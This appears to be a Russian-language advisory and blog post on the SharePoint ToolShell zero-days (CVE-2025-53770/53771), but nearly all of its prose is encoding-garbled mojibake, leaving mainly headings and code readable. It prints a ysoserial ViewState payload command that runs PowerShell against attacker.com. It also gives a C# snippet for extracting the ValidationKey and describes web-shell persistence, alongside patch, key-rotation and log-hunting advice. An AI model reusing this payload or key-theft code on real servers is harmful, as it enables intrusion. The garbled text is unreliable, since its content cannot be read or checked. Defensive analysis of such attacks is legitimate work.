Microsoft ΡΡΠΎΡΠ½ΠΎ Π²ΡΠΏΡΡΡΠΈΠ»Π° ΠΏΠ°ΡΡΠΈ Π΄Π»Ρ Π΄Π²ΡΡ Π½ΡΠ»Π΅Π²ΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠ΅ΠΉ Π² SharePoint Ρ ΡΠ΅ΠΉΡΠΈΠ½Π³ΠΎΠΌ 9.8/10! π₯ ΠΠΊΡΠΏΠ»ΠΎΠΉΡΡ ΡΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡ Ρ Π°ΠΊΠ΅ΡΡ Π΄Π»Ρ ΠΊΡΠ°ΠΆΠΈ ΡΡΠ΅ΡΠ½ΡΡ Π΄Π°Π½Π½ΡΡ ΠΈ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎΡΡΡΠΏΠ° ΠΊ ΠΊΠΎΡΠΏΠΎΡΠ°ΡΠΈΠ²Π½ΡΠΌ Π΄Π°Π½Π½ΡΠΌ. π₯ ΠΡΠ°ΠΊΠΈ Π·Π°ΡΠΈΠΊΡΠΈΡΠΎΠ²Π°Π½Ρ Π² Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠΌ ΠΌΠ°ΡΡΡΠ°Π±Π΅, Π²ΠΊΠ»ΡΡΠ°Ρ Π³ΠΎΡΡΡΡΡΠΊΡΡΡΡ.
Π‘ΠΎΠ²Π΅Ρ Π΄Π»Ρ Π°Π΄ΠΌΠΈΠ½ΠΎΠ²: ΠΠ΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ! π‘οΈ Microsoft Π²ΡΠΏΡΡΡΠΈΠ»Π° ΡΠΊΡΡΡΠ΅Π½Π½ΡΠ΅ ΡΠΈΠΊΡΡ CVE-2025-53770 ΠΈ CVE-2025-53771. ΠΠ΅ ΠΆΠ΄ΠΈΡΠ΅ β ΡΠΈΡΠΊΠΈ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠ°ΡΠΈΠΈ ΡΠ΅ΡΠ²Π΅ΡΠΎΠ² ΠΊΠ°ΡΠ°ΡΡΡΠΎΡΠΈΡΠ΅ΡΠΊΠΈ Π²ΡΡΠΎΠΊΠΈ. ΠΠΎΠ½ΠΈΡΠΎΡΡΡΠ΅ Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΠΈ ΠΈ ΠΏΡΠΎΠ²Π΅ΡΡΠΉΡΠ΅ ΠΆΡΡΠ½Π°Π»Ρ Π΄ΠΎΡΡΡΠΏΠ°. #ΠΊΠΈΠ±Π΅ΡΠ±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΡ #microsoft #itΠ½ΠΎΠ²ΠΎΡΡΠΈ β οΈ
Executive Technical Summary
ΠΡΠΈΡΠΈΡΠ΅ΡΠΊΠ°Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² Microsoft SharePoint Server (CVE-2025-53770) Ρ ΡΠ΅ΠΉΡΠΈΠ½Π³ΠΎΠΌ CVSS 9.8 ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π½Π΅Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠΌ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΡΠΉ ΠΊΠΎΠ΄ ΡΠ΅ΡΠ΅Π· ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌ ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ __VIEWSTATE. ΠΡΠ°ΠΊΠΈ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΡΠ²ΡΠ·ΠΊΠΈ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠΎΠ² (CVE-2025-49704/CVE-2025-49706) ΡΠΆΠ΅ ΠΏΡΠΈΠ²Π΅Π»ΠΈ ΠΊ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠ°ΡΠΈΠΈ Π΄Π΅ΡΡΡΠΊΠΎΠ² enterprise-ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΠΉ ΠΏΠΎ Π²ΡΠ΅ΠΌΡ ΠΌΠΈΡΡ.
Π’Π΅Ρ Π½ΠΈΡΠ΅ΡΠΊΠ°Ρ ΡΡΠΈΠ°Π΄Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ:
- Π£ΡΠ΅ΡΠΊΠ° ValidationKey ΡΠ΅ΡΠ΅Π· ΠΈΠ½ΡΠ΅ΠΊΡΠΈΡ Π² ΠΏΠ°ΠΌΡΡΡ .NET
- ΠΠΎΠ΄Π΄Π΅Π»ΠΊΠ° ΠΏΠΎΠ΄ΠΏΠΈΡΠ°Π½Π½ΡΡ __VIEWSTATE Ρ ΠΏΠΎΠΌΠΎΡΡΡ ysoserial
- RCE ΡΠ΅ΡΠ΅Π· Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΡ Ρ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΌΠΈ SharePoint AppPool
# ΠΡΠΈΠΌΠ΅Ρ Π³Π΅Π½Π΅ΡΠ°ΡΠΈΠΈ malicious VIEWSTATE ΡΠ΅ΡΠ΅Π· ysoserial ysoserial.exe -p ViewState -g TypeConfuseDelegate \ -c "powershell -nop -c \"Invoke-WebRequest attacker.com\"" \ --validationkey="[LEAKED_KEY]" \ --validationalg="SHA1"
Core Technical Analysis
ΠΡΡ ΠΈΡΠ΅ΠΊΡΡΡΠ½ΡΠΉ ΡΠ°Π·Π±ΠΎΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΊΠΎΡΠ΅Π½ΠΈΡΡΡ Π² Π½Π΅Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΠΉ Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ² ASP.NET ViewState Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅:
- ΠΠ΅Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½Π°Ρ ΠΈΠ·ΠΎΠ»ΡΡΠΈΡ MachineKey: ValidationKey Ρ ΡΠ°Π½ΠΈΡΡΡ Π² web.config Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ Π΄ΠΎΡΡΡΠΏΠ° IIS AppPool
- Π£Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Π½Π½Π°Ρ Π»ΠΎΠ³ΠΈΠΊΠ° ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ ΠΈΠ· SharePoint 2013 Workflow Manager
- ΠΡΡΡΡΡΡΠ²ΠΈΠ΅ Π²Π°Π»ΠΈΠ΄Π°ΡΠΈΠΈ ΠΏΠΎΠ΄ΠΏΠΈΡΠ΅ΠΉ ΠΏΡΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ΅ __VIEWSTATE Π² legacy-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ°Ρ
Π Π΅Π²Π΅ΡΡ-ΠΈΠ½ΠΆΠΈΠ½ΠΈΡΠΈΠ½Π³ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ° ToolShell
ΠΡΠ°ΠΊΡΡΡΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡ ΡΠ΅ΠΏΠΎΡΠΊΡ:
- Π£ΡΠ΅ΡΠΊΠ° ValidationKey ΡΠ΅ΡΠ΅Π· Reflection:
var config = WebConfigurationManager.OpenWebConfiguration("/"); var section = (MachineKeySection)config.GetSection("system.web/machineKey"); return section.ValidationKey; - ΠΠ΅Π½Π΅ΡΠ°ΡΠΈΡ ΠΏΠΎΠ΄Π΄Π΅Π»ΡΠ½ΠΎΠ³ΠΎ VIEWSTATE Ρ ysoserial:
- TypeConfuseDelegate Π³Π°Π΄ΠΆΠ΅Ρ Π΄Π»Ρ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ PowerShell ΡΠ΅ΡΠ΅Π· Delegate.CreateDelegate
- Persistent Access ΡΠ΅ΡΠ΅Π·:
- ΠΠ²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΡΡ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΡ Π²Π΅Π±-ΡΠ΅Π»Π»Π° Π² _layouts/15
- Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΡΠΊΡΡΡΡΡ SharePoint Π³ΡΡΠΏΠΏ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ Full Control
Π‘ΡΡΠ°ΡΠ΅Π³ΠΈΠΈ ΡΠ΅Π°Π³ΠΈΡΠΎΠ²Π°Π½ΠΈΡ
ΠΠΎΠ»Π½ΡΠΉ ΡΠΈΠΊΠ» Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ
- ΠΠΊΡΡΡΠ΅Π½Π½ΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅:
- SharePoint Subscription Edition: Π²Π΅ΡΡΠΈΡ 24H2 KB5025432
- SharePoint 2019: Π΄Π΅ΠΊΠ°Π±ΡΡΡΠΊΠΈΠΉ cumulative update 2025
- Π ΠΎΡΠ°ΡΠΈΡ ΠΊΠ»ΡΡΠ΅ΠΉ:
<!-- web.config --> <system.web> <machineKey validationKey="[NEW_GUID]" decryptionKey="[NEW_GUID]" ... /> </system.web>
- Forensic-Π°Π½Π°Π»ΠΈΠ·:
- ΠΠΎΠΈΡΠΊ Π°Π½ΠΎΠΌΠ°Π»ΠΈΠΉ Π² IIS logs:
SELECT * FROM W3CIISLog WHERE csUriStem LIKE '%/_layouts/15/%.aspx' AND scStatus BETWEEN 200 AND 299 AND timeTaken > 5000
- ΠΠΎΠΈΡΠΊ Π°Π½ΠΎΠΌΠ°Π»ΠΈΠΉ Π² IIS logs:
ΠΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³ IOC
- Π₯ΡΡΠΈ Π²Π΅Π±-ΡΠ΅Π»Π»ΠΎΠ²: SHA256(8a3c4b…)
- ΠΠ°ΡΡΠ΅ΡΠ½Ρ Π·Π°ΠΏΡΠΎΡΠΎΠ² ΠΊ /_vti_bin/Client.svc
- ΠΠ½ΠΎΠΌΠ°Π»ΡΠ½ΡΠ΅ Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΠΈ Managed Metadata Service
Enterprise Mitigation Roadmap
- Immediate:
- ΠΠ°ΠΏΡΠ΅Ρ Π²Π½Π΅ΡΠ½Π΅Π³ΠΎ Π΄ΠΎΡΡΡΠΏΠ° ΠΊ Central Admin
- ΠΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ AMSI Π΄Π»Ρ PowerShell-ΡΠΊΡΠΈΠΏΡΠΎΠ²
- Mid-term:
- ΠΠΈΠ³ΡΠ°ΡΠΈΡ Π½Π° SharePoint Online Ρ Conditional Access
- ΠΠ½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ Zero Trust Π΄Π»Ρ Service Accounts
- Strategic:
- ΠΠ΅ΡΠ΅Ρ ΠΎΠ΄ Π½Π° Modern Authentication
- ΠΡΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Private Link Π΄Π»Ρ Π³ΠΈΠ±ΡΠΈΠ΄Π½ΡΡ ΡΡΠ΅Π½Π°ΡΠΈΠ΅Π²
